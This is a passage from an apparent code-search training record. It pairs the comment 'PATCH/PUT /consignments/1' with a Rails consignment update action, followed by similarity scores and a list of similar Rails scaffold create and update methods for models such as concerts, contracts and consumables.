rescue\n end\n end\n @certification = @person.certifications.build(certification_params)\n respond_to do |format|\n format.html { redirect_to @person, notice: 'Certification was successfully created.' }\n end\n end", "def create\n @reimbursement = Reimbursement.new(params[:reimbursement])\n @year_insurances = YearInsurance.active.joins(:family)\n respond_to do |format|\n if @reimbursement.save\n format.html { redirect_to reimbursements_path, notice: 'Reimbursement was successfully created.' }\n format.json { render json: @reimbursement, status: :created, location: @reimbursement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reimbursement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @envelope = Envelope.new(params[:envelope])\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render json: @envelope, status: :created, location: @envelope }\n else\n format.html { render action: \"new\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6604186", "0.6229841", "0.58449376", "0.58449376", "0.58073545", "0.5775212", "0.57567745", "0.571386", "0.56987745", "0.56949973", "0.5642516", "0.55265236", "0.54432213", "0.5442408", "0.54422826", "0.5436934", "0.53627443", "0.53457934", "0.5338138", "0.53258866", "0.5321799", "0.5319905", "0.52904296", "0.52423936", "0.5241093", "0.52283305", "0.5221733", "0.51900065", "0.5186662", "0.5185704", "0.5185364", "0.5180196", "0.51770425", "0.51693654", "0.5168934", "0.51635486", "0.5159307", "0.51569355", "0.515689", "0.515141", "0.51409906", "0.5131949", "0.5099166", "0.5097999", "0.509605", "0.5086106", "0.50835407", "0.5067524", "0.50648046", "0.50583756", "0.50579935", "0.5057527", "0.504909", "0.5044883", "0.5037207", "0.5030709", "0.5021925", "0.501529", "0.50129324", "0.50121015", "0.500302", "0.5000382", "0.4998195", "0.49935508", "0.49925712", "0.49898434", "0.49888614", "0.4988318", "0.4979435", "0.49754694", "0.4963539", "0.49635157", "0.49622387", "0.49615437", "0.4957661", "0.4952342", "0.4952202", "0.49478528", "0.4945112", "0.49445125", "0.4943503", "0.4942921", "0.49341884", "0.49325264", "0.49244505", "0.4924377", "0.49200085", "0.49161863", "0.4910744", "0.49095356", "0.4902376", "0.4898453", "0.48837858", "0.48836264", "0.48826236", "0.488247", "0.48783532", "0.48774266", "0.48772222", "0.48750275" ]
0.66653985
0
PATCH/PUT /consignments/1 PATCH/PUT /consignments/1.json
def update respond_to do |format| if @consignment.update(consignment_params) format.html { redirect_to @consignment, notice: 'Consignment was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @consignment.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @consignment.update(consignment_params)\n format.html {redirect_to @consignment, notice: 'Consignment was successfully updated.'}\n format.json {render :show, status: :ok, location: @consignment}\n else\n format.html {render :edit}\n format.json {render json: @consignment.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n respond_to do |format|\n if @concert.update(concert_params)\n format.html { redirect_to @concert, notice: 'Concert was successfully updated.' }\n format.json { render :show, status: :ok, location: @concert }\n else\n format.html { render :edit }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @concert.update(concert_params)\n format.html { redirect_to @concert, notice: 'Concert was successfully updated.' }\n format.json { render :show, status: :ok, location: @concert }\n else\n format.html { render :edit }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @consumable.update(consumable_params)\n format.html { redirect_to @consumable, notice: \"Consumable was successfully updated.\" }\n format.json { render :show, status: :ok, location: @consumable }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @consumable.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @confection.update(confection_params)\n format.html { redirect_to @confection, notice: 'Confection was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @confection.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @congress.update(congress_params)\n format.html { redirect_to @congress, notice: 'Congress was successfully updated.' }\n format.json { render :show, status: :ok, location: @congress }\n else\n format.html { render :edit }\n format.json { render json: @congress.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @small_concert.update(small_concert_params)\n format.html { redirect_to '/admin/small_concerts', notice: 'Small concert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @small_concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trein_consul_comercial.update(trein_consul_comercial_params)\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @consequence.update(consequence_params)\n format.html { redirect_to @consequence, notice: 'Consequence was successfully updated.' }\n format.json { render :show, status: :ok, location: @consequence }\n else\n format.html { render :edit }\n format.json { render json: @consequence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @consumable_object.update(consumable_object_params)\n format.html { redirect_to @consumable_object, notice: 'Consumable object was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @consumable_object.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def update\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n if @concour.update_attributes(params[:concour])\n format.html { redirect_to @concour, notice: 'Concour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @consignee.update(consignee_params)\n format.html { redirect_to consignees_path, notice: 'Consignee was successfully updated.' }\n format.json { render :show, status: :ok, location: @consignee }\n else\n format.html { render :edit }\n format.json { render json: @consignee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @conpany.update(conpany_params)\n format.html { redirect_to conpanies_path , notice: 'Conpany was successfully updated.' }\n format.json { render :show, status: :ok, location: @conpany }\n \n else\n format.html { render :edit }\n format.json { render json: @conpany.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n if @concert.update_attributes(concert_params)\n format.html { redirect_to(@concert, :notice => 'Concert was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @concert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @colaboration = Colaboration.find(params[:id])\n @colaboration.user_id=current_user.id\n\n respond_to do |format|\n if @colaboration.update_attributes(params[:colaboration])\n format.html { redirect_to @colaboration, notice: 'Colaboracion actualizada exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colaboration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n current_user\n respond_to do |format|\n if @consumable.update(consumable_params)\n format.html { redirect_to @consumable, notice: 'Consumable was successfully updated.' }\n format.json { render :show, status: :ok, location: @consumable }\n else\n format.html { render :edit }\n logger.error \"There was an error updating the consumable\"\n logger.error json: @consumable.errors\n format.json { render json: @consumable.errors, status: :unprocessable_entity }\n end\n end\n Consumable.reindex\n end", "def update\n if current_user.has_role? :admin\n respond_to do |format|\n if @concert.update(concert_params)\n @concert.create_activity :update, owner: current_user\n format.html { redirect_to @concert, notice: 'Concert was successfully updated.' }\n format.json { render :show, status: :ok, location: @concert }\n else\n format.html { render :edit }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @concert.update(concert_params)\n format.html { redirect_to @concert, notice: 'Concert was successfully updated.' }\n #TODO: localise the previous string\n format.json { render :show, status: :ok, location: @concert }\n else\n format.html { render :edit }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @conseq = Conseq.find(params[:id])\n\n respond_to do |format|\n if @conseq.update_attributes(params[:conseq])\n format.html { redirect_to(@conseq, :notice => 'Conseq was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @conseq.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end", "def update\n respond_to do |format|\n if @con_in.update(con_in_params)\n format.html { redirect_to @con_in, notice: 'Con in was successfully updated.' }\n format.json { render :show, status: :ok, location: @con_in }\n else\n format.html { render :edit }\n format.json { render json: @con_in.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @collaboration.update(collaboration_params)\n format.html { redirect_to @collaboration, notice: 'Collaboration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collaboration.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n if @commtent1.update_attributes(params[:commtent1])\n format.html { redirect_to @commtent1, notice: 'Commtent1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commtent1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @convo = Convo.find(params[:id])\n\n respond_to do |format|\n if @convo.update_attributes(params[:convo])\n format.html { redirect_to @convo, notice: 'Conversation has been modified.' }\n format.json { render json: @convo.merits }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @convo.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @contact = Contact.find(params[:id])\n if params[:contact][:clientId] == \"\"\n params[:contact][:clientId] = nil\n end \n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @congresso.update(congresso_params)\n format.html { redirect_to @congresso, notice: 'Congresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @congresso }\n else\n format.html { render :edit }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n format.html { redirect_to @contract.lead, notice: 'Contract was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end", "def update\n @condolence = Condolence.find(params[:id])\n\n respond_to do |format|\n if @condolence.update_attributes(params[:condolence])\n format.html { redirect_to @condolence, notice: 'Condolence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @condolence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @coment.update(coment_params)\n format.html { redirect_to @coment, notice: \"Coment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @coment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @coment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @circulation = Circulation.find(params[:id])\n\n respond_to do |format|\n if @circulation.update_attributes(params[:circulation])\n format.html { redirect_to @circulation, notice: 'Circulation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @circulation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @coment.update(coment_params)\n format.html { redirect_to @coment, notice: 'Coment was successfully updated.' }\n format.json { render :show, status: :ok, location: @coment }\n else\n format.html { render :edit }\n format.json { render json: @coment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # TODO エラーハンドリングを共通化する\n if @current_team&.id != @concert.team.id\n render json: false, status: :unauthorized\n elsif @concert.update(concert_savable_params)\n render :show, status: :ok\n else\n render json: @concert.errors, status: :unprocessable_entity\n end\n end", "def update\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n if @contum.update_attributes(params[:contum])\n format.html { redirect_to @contum, notice: 'Contum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @concedente.update(concedente_params)\n format.html { redirect_to @concedente, notice: 'Concedente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @concedente.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @consumo.update(consumo_params)\n format.html { redirect_to @consumo, notice: 'Consumo was successfully updated.' }\n format.json { render :show, status: :ok, location: @consumo }\n else\n format.html { render :edit }\n format.json { render json: @consumo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # build_resource\n if resource.status == 'Open'\n resource.update_attributes permitted_params[:contract]\n if !resource.valid?\n render json: resource.errors, status: :unprocessable_entity\n else\n resource.save\n respond_with json: {}, status: :ok\n end\n else\n respond_with json: [{'error':'The contract must be Open to edit.'}], status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @subcontractor_contact.update(subcontractor_contact_params)\n format.html { redirect_to @subcontractor_contact, notice: 'Subcontractor contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @subcontractor_contact }\n else\n format.html { render :edit }\n format.json { render json: @subcontractor_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end", "def patch!\n request! :patch\n end", "def update\n respond_to do |format|\n if @contract.update(update_params)\n format.html { redirect_to_leaf_notice(UPDATE_SUCCESS) }\n format.json { render :show, status: :ok, location: @contract }\n else\n unprocessable_response(format)\n end\n end\n end", "def update\n authorize! :update, @concerto_config\n params[:concerto_config].each do |k,v|\n ConcertoConfig.set(k,v) #only set this if the config already exists\n end\n redirect_to :action => :index\n end", "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def manage_convenios(resource)\n resource ||= JSON.parse(resource.to_json)\n resource.each do |_key, value|\n\n @cliente_convenio = self.cliente_convenios.find_by(id: value[\"cliente_convenio_id\"].to_i) if value[\"cliente_convenio_id\"].present?\n if value['option']==\"edit\" and !@cliente_convenio.nil?\n @cliente_convenio.update_attributes(convenio_id: value[\"convenio_id\"],\n status_convenio: value[\"status_convenio\"],\n validade_carteira: value[\"validade_carteira\"],\n matricula: value[\"matricula\"],\n produto: value[\"produto\"],\n titular: value[\"titular\"],\n plano: value[\"plano\"],\n via: value[\"via\"],\n observacoes: value[\"observacoes\"],\n utilizando_agora: value[\"utilizando_agora\"])\n else\n @cliente_convenio = self.cliente_convenios.build(convenio_id: value[\"convenio_id\"].to_i,\n status_convenio: value[\"status_convenio\"],\n validade_carteira: value[\"validade_carteira\"],\n matricula: value[\"matricula\"],\n produto: value[\"produto\"],\n titular: value[\"titular\"],\n plano: value[\"plano\"],\n via: value[\"via\"],\n observacoes: value[\"observacoes\"],\n utilizando_agora: value[\"utilizando_agora\"])\n @cliente_convenio.save!\n end\n end\n end", "def update\n respond_to do |format|\n if @con_proc.update(con_proc_params)\n format.html { redirect_to @con_proc, notice: 'Con proc was successfully updated.' }\n format.json { render :show, status: :ok, location: @con_proc }\n else\n format.html { render :edit }\n format.json { render json: @con_proc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cont = Cont.find(params[:id])\n\n respond_to do |format|\n if @cont.update_attributes(params[:cont])\n format.html { redirect_to @cont, notice: 'Cont was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cont.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @compromise = Compromise.find(params[:id])\n\n if @compromise.update(compromise_params)\n Notification.delete_all([\"compromise_id = ?\", @compromise.id])\n create_for_each_notification_type(@compromise)\n head :no_content\n else\n render json: @compromise.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @contract_document.update(contract_document_params)\n format.html { redirect_to @contract_document, notice: 'Contract document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contract_document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract_status.update(contract_status_params)\n format.html { redirect_to @contract_status, notice: 'Contract status was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_status }\n else\n format.html { render :edit }\n format.json { render json: @contract_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @registration_contract = Registration::Contract.find(params[:id])\n\n respond_to do |format|\n if @registration_contract.update_attributes(params[:registration_contract])\n format.html { redirect_to @registration_contract, notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @registration_contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contract_doc_category = ContractDocCategory.find(params[:id])\n\n respond_to do |format|\n if @contract_doc_category.update_attributes(params[:contract_doc_category])\n format.html { redirect_to @contract_doc_category, notice: 'Contract doc category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract_doc_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @consorciot.update(consorciot_params)\n format.html { redirect_to @consorciot, notice: 'Consorciot was successfully updated.' }\n format.json { render :show, status: :ok, location: @consorciot }\n else\n format.html { render :edit }\n format.json { render json: @consorciot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @employment_contract.update(employment_contract_params)\n format.html { redirect_to request_steps_path, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment_contract }\n else\n format.html { render :edit }\n format.json { render json: @employment_contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @commission_fixing = CommissionFixing.find(params[:id])\n if @commission_fixing.update_attributes(params[:commission_fixing])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@commission_fixing.errors)\n end \n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ConctactInfo.update(ConctactInfo_params)\n format.html { redirect_to @ConctactInfo, notice: 'ConctactInfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @ConctactInfo }\n else\n format.html { render :edit }\n format.json { render json: @ConctactInfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @court_complex.update(court_complex_params)\n format.html { redirect_to @court_complex, notice: 'Court complex was successfully updated.' }\n format.json { render :show, status: :ok, location: @court_complex }\n else\n format.html { render :edit }\n format.json { render json: @court_complex.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @coconut1.update(coconut1_params)\n format.html { redirect_to @coconut1, notice: 'Coconut1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @coconut1 }\n else\n format.html { render :edit }\n format.json { render json: @coconut1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @congestion = Congestion.find(params[:id])\n\n respond_to do |format|\n if @congestion.update_attributes(params[:congestion])\n format.html { redirect_to @congestion, notice: 'Congestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @congestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @guarantee_company.update(guarantee_company_params)\n format.html { redirect_to @guarantee_company, notice: 'Guarantee company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @guarantee_company.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_consignment\n @consignment = Consignment.find(params[:id])\n end", "def update\n respond_to do |format|\n if @care_circle.update(care_circle_params)\n format.html { redirect_to @care_circle, notice: 'Care circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @care_circle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact.update(contact_params)\n if @contact.valid?\n render json: @contact\n end\n end", "def update\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n if @concurso.update_attributes(params[:concurso])\n format.html { redirect_to @concurso, notice: 'Concurso atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concurso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @concessionary.update(concessionary_params)\n format.html { redirect_to @concessionary, notice: 'Concessionario actualizado.' }\n format.json { render :show, status: :ok, location: @concessionary }\n else\n format.html { render :edit }\n format.json { render json: @concessionary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @concern = Concern.find(params[:id])\n\n respond_to do |format|\n if @concern.update_attributes(params[:concern])\n format.html { redirect_to @concern, notice: 'Concern was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @information_cone.update(information_cone_params)\n format.html { redirect_to @information_cone, notice: 'Information cone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @information_cone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cerc = Cerc.find(params[:id])\n\n if @cerc.update_attributes(params[:cerc])\n head :no_content\n else\n render json: @cerc.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n# if @proposal.update(proposal_params)\n if @proposal.update_with_conflict_validation(proposal_params)\n format.html { redirect_to @proposal, notice: '提案を1件更新しました。' }\n format.json { render :show, status: :ok, location: @proposal }\n else\n format.html { render :edit }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @certificate_request.update(certificate_request_params)\n format.html { redirect_to @certificate_request, notice: 'Certificate request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @certificate_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @certification.update_attributes(params[:certification])\n format.html { redirect_to Certification, :notice => 'Certification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @certification.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @compound = Compound.find(params[:id])\n\n respond_to do |format|\n if @compound.update_attributes(params[:compound])\n format.html { redirect_to @compound, notice: 'Compound was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compound.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @compliment = Compliment.find(params[:id])\n\n respond_to do |format|\n if @compliment.update_attributes(params[:compliment])\n format.html { redirect_to @compliment, notice: 'Compliment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compliment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { render :show, status: :ok, contract: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n format.js {\n @contracts = @component.contracts unless @component.nil?\n @contracts = @project.contracts if @component.nil?\n }\n format.html { redirect_to([@project, @contract], :notice => 'Contract was successfully updated.') }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contract.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @commitment = Commitment.find(params[:id])\n\n respond_to do |format|\n if @commitment.update_attributes(params[:commitment])\n format.html { redirect_to @commitment, notice: 'Commitment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commitment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'El contrato se modificó correctamente.' }\n format.json { render :show, status: :ok, location: @contract }\n else\n format.html { render :edit }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contractor.update(contractor_params)\n format.html { redirect_to @contractor, notice: 'Contractor was successfully updated.' }\n format.json { render :show, status: :ok, location: @contractor }\n else\n format.html { render :edit }\n format.json { render json: @contractor.errors, status: :unprocessable_entity }\n end\n end\n end", "def 